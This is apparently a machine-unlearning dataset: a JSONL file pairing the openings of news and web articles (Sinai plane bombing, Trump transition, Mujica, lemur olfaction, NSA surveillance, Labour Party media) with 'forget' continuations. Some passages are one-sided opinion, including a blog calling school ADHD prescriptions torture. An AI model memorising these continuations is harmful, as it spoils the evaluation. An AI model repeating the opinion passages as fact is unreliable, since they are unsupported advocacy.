{"prompt": "Image copyright AP Tight security is in place as airlines start to bring home Britons stranded in Egypt's Sharm el-Sheikh. The UK government cancelled flights to and from the resort on Wednesday amid fears a Russian passenger plane had been brought down by a terrorist bomb. Only hand luggage will be allowed on flights, with hold baggage being transported later by the government. UK investigators believe a bomb was put in the hold of the Metrojet Airbus A321 before take-off, the BBC has learned. The government says it received a crucial new piece of intelligence on Wednesday, which the BBC", "forget": "understands was based on intercepted communications between militants in the Sinai. The Russian aircraft was flying from Sharm el-Sheikh to St Petersburg last Saturday when it crashed in the Sinai desert, killing all 224 people on board. Easyjet, Monarch, Thomson, Thomas Cook and British Airways have scheduled UK-bound flights from mid-morning local time for some of the estimated 19,000 British nationals on holiday in Sharm el-Sheikh. But Easyjet says its flights to Luton and Gatwick due to depart at 11:00 GMT have been delayed \"due to congestion within the terminal building in addition to additional security procedures in place\". Your travel questions answered Britons speak of Sharm el-Sheikh 'tension' Could IS have bombed Flight 9268? How has airport security changed? There will be additional security measures for passengers, put in place by British security officials who have assessed the airport. Queues were reported to be building up in the departure area of Sharm el-Sheikh airport where Britons are being asked to complete a form for each piece of hold luggage as they arrive to check in. British tourist Kate Dobbs in told BBC Radio 4's Today programme she hoped to be on one of the flights returning to the UK later. Passengers on her flight have been told they can bring up to 5kg of hand baggage, she said. \"They've given us a list of the kind of thing we can take - phones and keys, that type of thing.\" Ms Dobbs added: \"There are lot's of anger among some people although the majority... are like us. We understand we need to get home safely and that's the way in which they decided they are going to do it.\" Image copyright Wael Hussein/BBC Image caption British passengers have been arriving at Sharm el-Sheikh airport for their flights home Image copyright"}
{"prompt": "Political types aren't the only ones descending on Trump Tower in midtown Manhattan for a meeting with the president-elect and his transition team. On Wednesday, Donald Trump met with Hollywood heavyweight Leonardo DiCaprio and Terry Tamminen, the chief executive officer of the Leonardo DiCaprio Foundation, which \"is dedicated to the long-term health and well-being of all Earth\u2019s inhabitants,\" according to the foundation's mission statement. \"Today, we presented the president-elect and his advisers with a framework -\u2013 which LDF developed in consultation with leading voices in the fields of economics and environmentalism -\u2013 that details how to unleash a major economic", "forget": "revival across the United States that is centered on investments in sustainable infrastructure,\" Tamminen said in a statement. Tamminen said the meeting \"focused on how [to] create millions of secure, American jobs in the construction and operation of commercial and residential clean, renewable energy generation.\" The meeting -- which was not announced ahead of time by the transition team -- also included a discussion about the polarizing issue of climate change. \"Climate change is bigger than politics, and the disastrous effects on our planet and our civilization will continue regardless of what party holds majorities in Congress or occupies the White House,\" Tamminen said. And is seems that the trio will continue their dialogue. \"The president-elect expressed his desire for a follow-up meeting in January, and we look forward to continuing the conversation with the incoming administration as we work to stop the dangerous march of climate change, while putting millions of people to work at the same time,\" Tamminen said. DiCaprio also met with Ivanka Trump and couple other Trump advisers while at Trump Tower, a source with knowledge of the meeting said. On Wednesday afternoon, former NYPD detective and 2017 New York City mayoral candidate Bo Dietl tweeted a photo of DiCaprio and Anthony Scaramucci, the founder of SkyBridge Capital and a member of Trump's transition team, as well as others, dining together. Earlier this week, ABC News confirmed DiCaprio recently met with Ivanka Trump and gave her a copy of his documentary \"Before the Flood.\" The meeting occurred on the heels of Donald Trump's Monday meeting with former Vice President and environmental activist Al Gore. The meeting also comes on the same day a senior Trump adviser said Trump has selected Oklahoma State Attorney General Scott Pruitt to lead the Environmental Protection Agency. Pruitt is a strong"}
{"prompt": "If you spent time trying out interesting new Macintosh software in the early 90s, you might recognise the name Randy Ubillos. In those days software companies used to credit application developers in the splash screen they displayed while the software started up. Bill Atkinson was credited as MacPaint\u2019s creator in 1984, Thomas and John Knoll were amongst those credited with Adobe Photoshop in 1990. I saw Randy\u2019s memorable name for the first time in the splash screen for Premiere 1.0 when I opened it in 1992: [image by Riccardo Mori from his System Folder blog] In April 2015 Randy Ubillos", "forget": "retired from Apple after many years developing video and photo applications such as Final Cut Pro and Aperture. In the 90s he wrote Adobe Premiere 1.0. He started his Mac career working at SuperMac Technologies, a Mac peripheral maker. Earlier this summer I interviewed Randy on stage at the Bay Area SuperMeetUp in San Jose, California. The evening was part of series of events organised by video user groups in the US and in Europe. The next Supermeet event takes place in September in Amsterdam and features special guest Walter Murch, who\u2019s worked as sound or picture editor on films with George Lucas, Francis Coppola, Sam Mendes and Brad Bird. 1991 \u2013 Adobe Premiere Alex Gollner: Let\u2019s start at the very beginning\u2026 The program that became Premiere\u2026 Randy Ubillos: \u2026originally known as ReelTime. \u2026was actually demo software. Tell us about that I was working for SuperMac and they were working on something called DigitalFilm \u2013 one of the very first digital video recording cards. It did quarter frame standard definition \u2013 they were pushing the limits of the JPEG chips that were available at the time and we needed some software to try it out. In about 10 weeks I put together a demo and we\u2019d bring in people and show them editing on a computer and it was going over pretty well. The marketing department had just gotten out of software at SuperMac and they weren\u2019t sure what to do with it and so as it got close to shipping the card in late 1991 my software was sold to Adobe and they released it as Premiere 1.0. So they sold the software and didn\u2019t involve you? Adobe were specifically prohibited from offering me a job, because SuperMac didn\u2019t want to lose me, so I could ask Adobe but"}
{"prompt": "Uruguay\u2019s leader Jos\u00e9 Mujica must be one of the world\u2019s most unusual presidents \u2013 he gives away 90% of his salary to charity and chooses to live a very basic lifestyle. Courtesy Dateline. World's 'poorest president' gives most of salary to charity 1:52 HE lives in a rundown one-bedroom house he has shared with his wife of more than 30 years and his lifestyle is a far cry from other world leaders. So it\u2019s little wonder Uruguay President Jose Mujica, who reportedly earns around $12,000 a year and donates 90 per cent of it to charity, has been nicknamed the", "forget": "world\u2019s poorest president. Compared to US President Barack Obama who earns $400,000 in his role, and Prime Minister Tony Abbott, $500,000, Mujica is far from wealthy, but he is rich in many other ways. The popular leader not only legalised gay marriage, abortion and marijuana, but unlike most politicians seems widely liked by his own people and many others. #Jos\u00e9Mujica, President of #Uruguay waiting for his turn in a public hospital... That's how a leader should be pic.twitter.com/eD7e4OJy1g \u2014 Raheel Rao (@Rahealrao) September 14, 2014 Today my most inspiration comes from Jose Mujica. Salute El Presidente! \u2014 Murtaza Solangi (@murtazasolangi) September 18, 2014 Here\u2019s seven other reasons why this ex-revolutionary is much more popular than our pollies. 1. Money isn\u2019t important to Mujica His salary pales in comparison to other world leaders. Earning around $12,000 a year, he gives around 90 per cent to charity, the BBC reported. His wage is way below the $400,000 earned by US President Barack Obama and UK Prime Minister David Cameron who earns around a paltry $235,000 in comparison. And it\u2019s definitely well below the $500,000 salary our own Prime Minister Tony Abbott earned this year. 2. He\u2019s not big on security or flash cars The Uruguayan leader is guarded by two police officers and Manuela, a three-legged dog, the BBC reported. Mujica also drives around in an old VW Beetle ditching opulence in favour of what works. 3. Mujica has served time in jail He was a former guerilla leader in the 1960s and robbed banks to pay for uprisings across the country. The crime earned him a 13-year prison stint and torture, Dateline reported. He was released in 1985 under an amnesty at the end of the country\u2019s dictatorship. 4. He doesn\u2019t think highly of Australia\u2019s asylum seeker policy \u201cIt\u2019s not very"}
{"prompt": "We suggest that signal convergence between the sexes may reflect strong selective pressures on kin recognition, whereas signal convergence within the sexes may arise as its by-product or function independently to prevent competition between unfamiliar relatives. The link between an individual's genome and its olfactory signals could be mediated by biosynthetic pathways producing polymorphic semiochemicals or by carrier proteins modifying the individual bouquet of olfactory cues. In conclusion, we unveil a possible olfactory mechanism of kin recognition that has specific relevance to understanding inbreeding avoidance and nepotistic behavior observed in free-ranging primates, and broader relevance to understanding the mechanisms of", "forget": "vertebrate olfactory communication. Despite derivation from different genital glands, labial and scrotal secretions shared about 170 of their respective 338 and 203 semiochemicals. In addition, these semiochemicals encoded information about genetic relatedness within and between the sexes. Although the sexes showed opposite seasonal patterns in signal complexity, the odor profiles of related individuals (whether same-sex or mixed-sex dyads) converged most strongly in the competitive breeding season. Thus, a strong, mutual olfactory signal of genetic relatedness appeared specifically when such information would be crucial for preventing inbreeding. That weaker signals of genetic relatedness might exist year round could provide a mechanism to explain nepotism between unfamiliar kin. Like other vertebrates, primates recognize their relatives, primarily to minimize inbreeding, but also to facilitate nepotism. Although associative, social learning is typically credited for discrimination of familiar kin, discrimination of unfamiliar kin remains unexplained. As sex-biased dispersal in long-lived species cannot consistently prevent encounters between unfamiliar kin, inbreeding remains a threat and mechanisms to avoid it beg explanation. Using a molecular approach that combined analyses of biochemical and microsatellite markers in 17 female and 19 male ring-tailed lemurs (Lemur catta), we describe odor-gene covariance to establish the feasibility of olfactory-mediated kin recognition. We sampled 17 sexually mature females year round, during the extended nonbreeding season and the relatively limited breeding season, following published protocols [ 35 ]. Our comparable male data (on n = 19 adults) derived from a prior study [ 27 ]. We used a sequential approach to determine if genital secretions encode information about relatedness within and between the sexes. For the first analysis involving all female-female (FF) dyads, we related differences in the semiochemical secretions between dyads of females to their pairwise genetic distance. This analysis is particularly relevant to examining olfactory mechanisms guiding nepotistic or competitive behavior between members"}
{"prompt": "Truth in Packaging time\u2026 School systems consume huge amounts of tax revenue, and spend much of that money, via the time and resources it pays-for, forcing boys to act like girls. They waste the time of bright children, especially of bright boys, by forcing them to sit still and wait for duller pupils to learn lessons they have already \u201cgot\u201d. Kleinfeld (2009) reported: middle class parents \u2026 were worried that so many of their sons had been diagnosed with Attention Deficit Hyperactivity Disorder (ADHD) and prescribed drugs such as Ritalin which might damage their developing brains. They suspected that teachers\u2019", "forget": "intolerance for active, boisterous boys, not their sons\u2019 presumed deficits, was responsible. Middle class parents\u2014all or mostly respectable citizens\u2014were worried about schools abusing their children\u2014if the children were boys. Sax (2007) considered over-prescription of stimulants so serious as to make it one of five main factors in the de-motivation of boys and young men. Girls didn\u2019t seem to need worrying-about, Kleinfeld wrote later in the same paper: \u201c While the educational problems of girls have led to numerous policy efforts to increase their achievement in areas where they are behind, such as achievement in mathematics and science at the top, the problems of boys have been largely ignored by federal agencies, foundations, and school districts. \u201d Schools, over the past two generations of time, have changed to be more girl-friendly, but have demanded the boys change rather than the schools, even to the point of forcing the boys to change by drugging them (Kleinfeld, 2009; Sax, 2007, Anonymous, 2011.) Drugging children to force them to adapt to inappropriate circumstances is abuse and may constitute torture. If this were done to children of one race, rather than of one gender, it would be criminal. The only reason it is not criminal\u2014if indeed it is not\u2014is that laws have been written to privilege female and disempower male citizens. Imaginably, men rank lower in civil standing today than Afro-Americans have ranked since Brown v. Board of Education. Not being a lawyer nor a policeman, i don\u2019t know whether criminal prosecution of school agents for drugging boys is possible. I would encourage it if it is\u2014if street pushers go to prison, why not school pushers?* With the street pushers, acceptance is at least somewhat voluntary, so school drugging is worse on the face of it. If drugging stopped tomorrow, schools would still be prim,"}
{"prompt": "Abortion-rights advocates said the law would shut more than half of the clinics remaining in the state. Supreme Court blocks Texas abortion law ruling The Supreme Court on Monday temporarily halted two Texas requirements that would have forced more than half of the state\u2019s abortion clinics to close on Wednesday. Without the emergency action, only nine clinics would have remained opened, according to abortion-rights advocates. The provisions blocked by the justices are part of a law that has shut down approximately 20 clinics since taking effect in 2013. They require that abortion providers have admitting privileges at a local hospital", "forget": "and that abortion clinics meet the building standards of ambulatory surgical centers. Story Continued Below The stay will remain in effect while providers seek a full review of Whole Woman\u2019s Health v. Cole by the high court. The U.S. Court of Appeals for the 5th Circuit had upheld most of the law earlier this month and then declined to suspend its ruling. Five justices agreed to issue the emergency stay, one more than would be necessary to take the case on its merits. Chief Justice John Roberts and Justices Antonin Scalia, Clarence Thomas and Samuel Alito voted to deny the action, the court said. \u201cWe are confident that the justices will make clear once again that the constitutional protections for safe and legal abortions are real,\u201d said Nancy Northup, president and CEO of the Center for Reproductive Rights, which filed the case on behalf of the abortion providers and clinics. During a call with reporters, Northup noted that the latest action is the second time the Supreme Court has intervened on the Texas law, H.B. 2. Last fall, it reinstated a district court\u2019s ruling to block the admitting privileges and ambulatory surgical center requirements. The soonest the justices could decide whether to take the case would be when they come back into session in October, CRR attorney Stephanie Toti said. Texas Gov. Greg Abbott expressed confidence Monday afternoon that the Supreme Court will ultimately uphold the law. \u201cH.B. 2 was a constitutional exercise of Texas\u2019 lawmaking authority that was correctly and unanimously upheld by the 5th Circuit,\u201d Abbott said in a statement. \u201cTexas will continue to fight for higher-quality health care standards for women while protecting our most vulnerable \u2014 the unborn.\u201d Former Texas Gov. Rick Perry faulted the justices\u2019 decision to keep the law from fully taking effect this"}
{"prompt": "No timetable on pulling jets, says Defence Minister Defence Minister Harjit Sajjan Canada will not pull its CF-18 fighter jets from the combat mission in Iraq and Syria if it degrades the overall capability of the coalition forces, Defence Minister Harjit Sajjan told SiriusXM in an interview on \u201cEverything in Political with Evan Solomon.\u201d \u201cThe decision for that will be based on my conversations with my counterparts, making sure that the coalition\u2019s capability is not reduced,\u201d the defence minister said. He said he is working on various options and will announce a decision soon. This stands in contrast to what", "forget": "the Foreign Affairs Minister St\u00e9phane Dion said on Monday, when he announced that the combat mission would end imminently. \u201cIt will be a matter of weeks not months,\u201d Dion told reporters. Dion also said pulling out Canada\u2019s jets would be done in conjunction with Canada\u2019s allies and rolled out alongside a new plan, but he never hinted that the defining issue would be \u201ccapability.\u201d Sajjan also said he is considering leaving Canada\u2019s air refueling and reconnaissance aircraft as part of the mission. The Conservative defence critic James Bezan responded to Sajjan, demanding to see the details of the Liberal plan for the military mission. He believes there have been contradictory messages sent about the nature of the mission and whether the Liberal government will eventually put more boots on the ground. \u201cI\u2019m looking forward to seeing exactly what the plan is because that wasn\u2019t apparent,\u201d says Bezan. \u201cThe defence minister is using language that\u2019s quite different from what we\u2019re hearing from the Prime Minister,\u201d he said. Bezan said the Prime Minister has said in the House that Canada needs to fight ISIS in its own territory. \u201cDoes that mean boots on the ground?\u201d he asked. The defence minister joined Prime Minister Justin Trudeau at Pearson airport on Thursday night to greet the incoming Syrian refugees, but Sajjan says the government is trying to avoid using military bases to house more refugees. \u201cWe are trying to, hopefully, not even be able to use military bases, but if it\u2019s needed, we are available for that purpose,\u201d the minister said. Today the threat level from ISIS was raised in Geneva after suspects related to the Paris attacks are being tracked by police, but the defence minister maintains his previous statement that Canada has nothing to fear from ISIS. \u201cCanada should not fear ISIS,"}
{"prompt": "'Maturity Is Greatly Overrated': The Conversation With Ronda Rousey UFC Champion Ronda Rousey explains why she doesn't like calling herself a \"role model.\" NEXT VIDEO Ed Mullholland for ESPN Who could doubt Ronda Rousey's seriousness on press day for UFC 184? In this signature espnW series, we sit down for a candid Q&A with a remarkable person. Our aim is to cover topics high and low, deep and less so, to present a fresh look at folks we think we know and meet some others we wish we'd known all along. Welcome to The Conversation. Caution: Adult themes and language", "forget": "ahead. *** Who: Ronda Rousey, undefeated women's UFC bantamweight champion. Who else: Her best friend, Marina Shafir. Where: Threadgill's Restaurant, Austin, Texas. When: March 14, 2015. Ronda Rousey: I think we should have a prickly pear margarita. I worked hard the last couple days. I deserve it. Allison Glock: I wholeheartedly agree. What size? RR: [side-eyeing] Uh, large. I'm f------ Ronda Rousey. [Laughs.] I'm officially changing my name to \"F------ Ronda Rousey.\" WAITRESS: Can we get your drinks? RR: I want a prickly pear margarita! Ten ounce. And get some top-shelf tequila. WAITRESS: It only comes one way. Can I just see your ID? RR: Here's my bartender's license. Do you want to see that? AG: You have to have a license to bartend? RR: In California, yeah. As soon as I turned 21, I was bartending. I learned so much from the job, social lessons I didn't learn from judo. Especially about doing press. AG: How's that? RR: As a bartender, I am having pretty much the identical conversation over and over all day, but I still have to be present and genuine with every single response and try to get the other person to like me because that's what gets you tips. And really, how is that different from media? I did an appearance with fans recently, and people were like, \"Are you getting tired of this?\" And I'm thinking, \"No, this is the same as Mother's Day at Gladstones. Instead of giving out drinks, I'm giving out signed pictures.\" AG: You worked at Gladstones in Malibu? RR: I wore the red polo and the blue hat. The khakis. And then they made me start wearing skirts. It was bulls---. I got skorts instead. I wasn't about to be working in a skirt. AG: You've evolved from not"}
{"prompt": "9-month-old Connor Richardson (Facebook.com) A 9-month-old boy with an aggressive brain tumor received a letter from his family\u2019s insurance company explaining that treating the cancer would be too expensive and therefore \u201cnot medically necessary.\u201d \u2018Dear Connor Richardson,\u201d the letter said, according to The Daily Beast, \u201cAs HIP Health Plan of New York, we try hard to provide you with access to quality health care services that meet your needs. When we decide to deny coverage for treatment or service, we want to make sure you know why.\u201d Connor\u2019s father \u2014 retired NYPD officer Wayne Richardson \u2014 told The Daily Beast\u2019s", "forget": "Michael Daly that at 7 months old, his son had a frightening crying jag late one night. The baby\u2019s eyes popped open, wide and staring. \u201cNot like a regular baby, like when somebody dies,\u201d Richardson said. Connor was diagnosed with a rare aggressive teratoid rhabdoid brain tumor that was blocking blood flow to his spine. Doctors removed the tumor, but the cancer returned. St. Jude\u2019s Children\u2019s Hospital in Memphis, TN opted to place the baby on a combination of four drugs plus an experimental medication in a desperate bid to save his life. \u201cHe\u2019ll die if you don\u2019t do it,\u201d said Richardson. However, the family\u2019s insurer has deemed that the lifesaving treatment is \u201cnot medically necessary\u201d and warned Connor, \u201cIf you decide to have this service you may have to pay it yourself.\u201d \u201cWhen we reviewed the information given to us about this request, we have decided to deny coverage of the following medical service(s) or item(s) that you or your provider asked for: Inpatient Hospitalization to St. Jude Hospital from 10/4/2017-10/10/2017. We have determined that the service(s) are not medically necessary,\u201d the letter explained. \u201cThis letter is your Initial Adverse Determination. This means we are denying your quest for coverage of the requested service(s).\u201d Then, in a bold-typed section, the company explained to Connor \u2014 as if he were his own child: \u201cYour child is a 9 month old boy who was diagnosed with a high grade brain tumor. Your child was treated with surgical removal of his tumor at Stony brook Hospital. After your son was discharged you enrolled him in a clinical trial at St. Jude\u2019s hospital. The principal investigator has requested medications including methotrexate, cisplatin, cyclophosphamide, vincristine in combination with an investigational medication, alisertib. This combination of medications is not the standard of care for this"}
{"prompt": "Oh, you mean government did build that? Oops. Well, the Romney campaign did it again. Another day, another set of local business owners cited by the Mitt camp as having gotten where they are without the help of government exposed as hugely dependent on government. And this one, via the Tampa Bay Times, isn't even subtle: The point of the 11 a.m. news conference was to stress that small business owners succeed because of their own grit and determination and don't need government to do it. [...] In Tampa, the campaign spotlighted Rebecca Smith, owner of the construction company A.D.", "forget": "Morgan Corp., and Lou Ramos, owner of Value Enterprise Solutions, an information technology company. The A.D. Morgan Corporation employs 50 people and has annual revenues of about $80 million, according to its website. The company lists more than 130 projects and developments. Impressive, no doubt. But the list is nearly all government projects. [...] \"We're not going to have an opportunity in the private sector, they have a tendency to use lump sum, low bid,\" Smith said, explaining how government bids work. \"So by virtue of what it is that we do, we go to the client base that purchases construction services that way.\" As for Ramos, his company's Facebook page describes Value Enterprise Solutions as \"providing value added service/education to businesses, local government, federal government, Department of Defense, and industry contract organizations.\" [...] In the Air Force for 24 years, Ramos dismissed the role it played in providing him the training and expertise to run his business today. \"It wasn't handed to me,\" Ramos said. \"I worked my butt off. My military experience taught me integrity. But that didn't come from the government.\" Well, that sounds fine, then. John Galt would be proud. Wait\u2014but what's this?So the company can't compete in the private sector, and deals almost exclusively in government-backed projects, but the owner is outraged that Obama would imply that government helps businesses. And here's the other one:Oh, gawd. Keep in mind, this is after an entire week of ads events that similarly featured businesses that had received very direct help from the government . It appears that the Mitt Romney campaign is supported almost entirely by people whose businesses have received taxpayer money but are so arrogant that they're not willing to admit it. He's gone on a nationwide hunt to find Republican business owners who will"}
{"prompt": "Doug Jones made an appeal for \"decency\" to prevail over partisanship. Deeply conservative Alabama apparently listened, overturning a quarter-century of voting habits to elect him on Tuesday night in a stunning rebuff of the president, of an anti-establishment insurgency and of sexual harassment in Congress, Alabama politicos said. Jones, a former prosecutor, became the first Democrat in 25 years from the deeply red state to be elected to the U.S. Senate seat, edging out his Republican rival Roy Moore, an accused child molester and Bible-quoting former judge, in a test of the limits of political tribalism. Jones's upset victory on", "forget": "reliably red soil suggested Moore's alleged sexual predation of teen girls when the ex-jurist was in his thirties may have been too much for Republican voters to stomach. Moore denies the allegations. 'Voters will only be pushed so far' \"Turnout didn't decide the election,\" tweeted Republican Alabama strategist Blake Harris, noting that some 22,000 votes were recorded as write-ins for alternative candidates. \"Republicans who showed up but who couldn't bring themselves to vote for Moore decided it.\" \"This shows there are limitations to partisanship. Even in a Republican state,\" Zac McCrary, a Democratic pollster, said from Jones's Birmingham victory party. \"Voters will only be pushed so far. And then they push back. That's what happened tonight.\" Republican U.S. Senate candidate Roy Moore pauses as he addresses supporters at his election night party in Montgomery, Ala. Moore's loss spells trouble for the so-called Trump effect. (Carlo Allegri/Reuters) He said Alabamians were tired of being \"embarrassed\" by politicians. For U.S. President Donald Trump, the upset victory by Jones throws into doubt the value of his political capital, with the commander-in-chief now 0-2 in Alabama Senate races. Trump supported Republican candidate Luther Strange in the primary before Strange lost to Moore. Trump then endorsed Moore, to no avail. The result spells trouble for the so-called Trump effect, said Joseph Smith, chair of the political science department at the University of Alabama. \"Donald Trump is not a kingmaker,\" he said. \"He does not have enough influence over voters to change races.\" 'Earth-shaking for Alabama' Establishment Republican lawmakers who felt pressured for the sake of their seats to abide by the president's agenda might now feel more emboldened to buck some of his policies, as well as the populist movement within the party, Smith said. \"This changes the calculus for current Republican senators,\" he said,"}
{"prompt": "This morning Salesforce Tower had its ceremonial topping off, which included a press conference with the mayor, several supervisors, the developer, and CEO Marc Benioff, and the hoisting of the \"final\" steel beam \u0097 signed by the construction crew and whoever else wanted to \u0097 up to the top story. Local media was given their first opportunity to ride to the top floor on a hardhat tour, and yes, the views do not suck. At 1,070 feet, the building is still being touted as the tallest office building west of Chicago \u0097 which is true, however the title of tallest", "forget": "building west of Chicago now belongs to Los Angeles' Wilshire Grand, which kind of cheated for the title with a spire that brings its height to 1,099 feet. Benioff announced today that the 61st floor of the building, the highest glass-walled floor of the structure beneath the translucent screened \"cap,\" will not in fact be his personal office suite, but will instead be a gathering space they're calling the Ohana Floor \u0097 Benioff is fond of Hawaiian culture, and the word \"ohana,\" which means family, is used at the company to represent the \"family\" of employees. During the day, the floor will be used as conference and event space for Salesforce employees and customers, and at night and presumably some weekends, the space will be opened up for use by community partners, non-profits, and others, free of charge. \u201cI am deeply grateful to everyone working on Salesforce Tower as we celebrate this incredible milestone,\" said Benioff. \"My hope for this building is that its meaning goes beyond its beautiful glass and steel structure. May the meaning of Salesforce Tower be the people within it who are deeply committed to making this city a better place for all of its citizens.\" Supervisor Jane Kim, in whose district the tower has been rising over the last several years, says that back when she took office in 2011 all she heard from other developers about the project was \"it's too big,\" and she joked, \"It was the only time ever that you had developers saying something should be smaller.\" But after securing Salesforce as an anchor tenant in 2014 \u0097 the company will be occupying the bottom 30 floors (3 through 30) along with floors 60 and 61 \u0097 the project was on much more solid financial footing. Architect Fred Clarke, senior principal"}
{"prompt": "Historical information about the Mental Patients Union, formed in London in 1973 to oppose psychiatric oppression, written by Past Tense. The Mental Patients Union (MPU), in the early 1970s, could probably be seen as the first service user involvement movement. Founder member Andrew Roberts described the Union\u2019s genesis: \u201cThe idea of a Mental Patients Union was first developed by a small group of mental patients and supporters back in December 1972. A pamphlet was produced \u2014 which came to be known as the Fish Pamphlet (it had a picture of a fish struggling on a hook on the cover) \u2014", "forget": "that was strongly Marxist in its analysis. Its argument was that psychiatry was a form of social control of the working classes in a capitalist state, and that the psychiatrist was the \u201chigh priest\u201d of technological society, exorcising the \u201cdevils\u201d of social distress through electroconvulsive therapy (ECT), lobotomy and medication. The thinking was that, in the same way that workers formed trade unions, mental patients also needed a union to fight for their rights against political oppression and social control. There were six of us involved in setting up the union: Liz Durkin, Brian Douieb, Lesley Mitchell, Eric Irwin, me and my partner Valerie Argent, but only Eric, Valerie and I were mental patients. Valerie and I were mainly focused on forming the union. We didn\u2019t participate in the political analysis, or sign the Fish Pamphlet. The group planned to hold its first public meeting at Paddington day hospital, where Liz had been a social worker. She had been making contact with the press to promote the cause for a Mental Patients Union. The idea of the union caught the fancy of Radio 4\u2019s Today programme and they asked her to come and talk about it on the programme on the morning of the meeting. Liz realised they were asking her because she was a social worker, but at a \u201ccouncil of war\u201d meeting we decided we wouldn\u2019t take part unless they agreed to interview a patient \u2014 and that we wouldn\u2019t give them any information about the patient, whether they were from Broadmoor or whatever. We had this idea that we\u2019d line up in the studio and say: \u201cSpot the loony.\u201d They took three or four hours to ring us and agree to interview a patient. They needed time to think about that. In the end, I was the"}
{"prompt": "Huffington Post contributor Yashar Ali said Sunday that Fox News's Eric Bolling is attempting to intimidate him into silence by filing a $50 million dollar defamation lawsuit against his reporting. \"He is trying to intimidate me. He sees me as a young reporter that may be scared by big lawsuits. But if he wants to wade into this pond, I'm happy to go in with him,\" Ali host Brian Stelter on CNN's \"Reliable Sources.\" Ali pointed out that the lawsuit goes after him personally, rather than naming The Huffington Post. The media outlet has said it will stand with Ali", "forget": "regarding a story that included claims by multiple women who allege Bolling sent them lewd pictures. \"My life history has given me a lot of experience to not be scared by these things,\" Ali said. ADVERTISEMENT Ali also said he stands by his report, which he said he verified with 14 sources. Bolling has denied the allegations. Ali called Bolling \"wrong\" for his decision to take legal action. \"He's wrong because I spent three months on this story. As you said, I have 14 sources. I've spoken to the victims, and that's on a factual basis. I know he's wrong,\" Ali continued, adding that \"the best defense of defamation is the truth.\" Ali said Bolling's intent to intimidate him is clear because Bolling filed the lawsuit against him personally, not against his company that has a multibillion-dollar parent. \"It's really important to note, Brian, that he's suing me personally for $50 million. He did not include HuffPost, which is owned by Verizon, in this lawsuit. If he wants $50 million, if you feel that you've been aggrieved and you deserve damages, you go after the multibillion-dollar conglomerate, not an individual reporter,\" Ali told Stelter. Ali said he welcomes the opportunity to depose the Fox News host, saying he hopes his case will serve as an example to other journalists should they face similar legal actions. \"I relish the opportunity to see and being deposed and to stand up for not only my First Amendment rights, the First Amendment Rights of many reporters who messaged me after this came out, saying that they would be scared by this kind of action,\" Ali said. \"And, you know, I'm not trying to turn myself into a representative for the media here, but I feel like I have to really fight this because of"}
{"prompt": "In a Reuters Exclusive, John Shiffman and Kristina Cooke reveal that the National Security Agency shares information it gleans from warrantless surveillance of Americans with the Special Operation Division of the Drug Enforcement Agency, which then uses the metadata to develop cases against US citizens. The DEA then routinely lies to the judge and defense attorneys during discovery about how its agents initially came by their suspicions of wrongdoing. But you could imagine a situation where a young woman repeatedly called a boyfriend who was secretly known to the DEA to be a drug dealer, but whose crimes were unknown", "forget": "to her. And you could imagine law enforcement entrapping her into making a small drug buy. And then you could imagine their secretly basing their case against her in part on her phone calls to a known dealer. But this latter information would be denied to her defense attorney and the judge, making it harder to discern the entrapment. All these stories about the government\u2019s quest for Total Information Awareness about the phone calls, email, internet searches, etc. of 312 million ordinary Americans raise some questions in my mind. There are so many things about these stories that don\u2019t make sense. 1. The government says that they need everyone\u2019s phone records because they want to see who calls known overseas terrorists from the US. But if the NSA had a telephone number of a terrorist abroad and wanted to see if it was called from the US, why couldn\u2019t it just ask the telephone company for the record of everyone who called it? It isn\u2019t true that it would take too much time. It would be instant. Obviously, the government wants the telephone records of millions of Americans for some other reason. 2. If the real reason they are getting our phone records from the phone companies is to check for drug sales and other petty crime inside the US not related to terrorism, and if they are lying to judges about how they initially came to know of these crimes, aren\u2019t the NSA, DEA and other government officials violating the Constitutional guarantee of due process? Are they focusing on drug buys because law enforcement can confiscate the property of drug dealers, whereas busting other kinds of crime actually costs time and money? And, hasn\u2019t their dishonesty and its revelation just put in danger thousands of drug convictions? 3. If"}
{"prompt": "Labour\u2019s travails with the media are more deadly than it thinks \u2018People don\u2019t vote for a divided party; we\u2019ve got to learn some lessons about how we handle the media.\u2019 So said John McDonnell during a recent LSE lecture, and frankly amen to that. Five months in, Jeremy Corbyn\u2019s Labour party has formed a relationship of sorts with the press, but it remains an uneasy one. Talk to lobby journalists and the complaint is not, as Corbyn\u2019s loyal fans imagine, that the wrong guy won. It is that the leader\u2019s inner circle do not understand what reporters want. The rehiring", "forget": "last month of formerly disgraced spin doctor Damian McBride to advise Emily Thornberry will be welcomed by many hacks \u2013 if not by the colleagues McBride sometimes briefed against \u2013 on the grounds that at least he knows a story when he sees one. Forget the comforting fiction that Corbyn would be polling over 40 per cent if only the wicked Murdoch press/BBC/mainstream media were not out to get him. Nothing good comes of blaming everyone but yourself for being unpopular, and, while a fierce sense of being oppressed by the establishment is hardwired into large parts of the left, there is something faintly surreal about claiming victimisation by the rightwing press even as it moves on to ripping the Tories apart over Europe. The truth is that newspapers thrive commercially by reflecting, not driving, readers\u2019 opinions of individual politicians, and often fall flat on their faces when attempting the latter. Neither Rupert Murdoch nor Daily Mail editor-in-chief Paul Dacre ever rated David Cameron much \u2013 the Daily Mail twice backed Ken Clarke for leader, which did not end well \u2013 but so long as their readers liked him, he got a relatively easy ride. Watch them turn the minute that that is no longer the case. That said, Corbynistas are right in their complaint that the rightwing press outguns the leftwing press in terms of newspaper market share. And, with the closure of both Independent print titles, the number of sympathetic outlets for Labour has further reduced. Social media is an increasingly important news source for the JezWeCan generation but Twitter, the liberal left\u2019s favourite meeting place, is shedding users. The BBC is watched and trusted by millions, and since it is statutorily obliged to be impartial, is crucial to levelling an otherwise uneven playing field. But it too"}
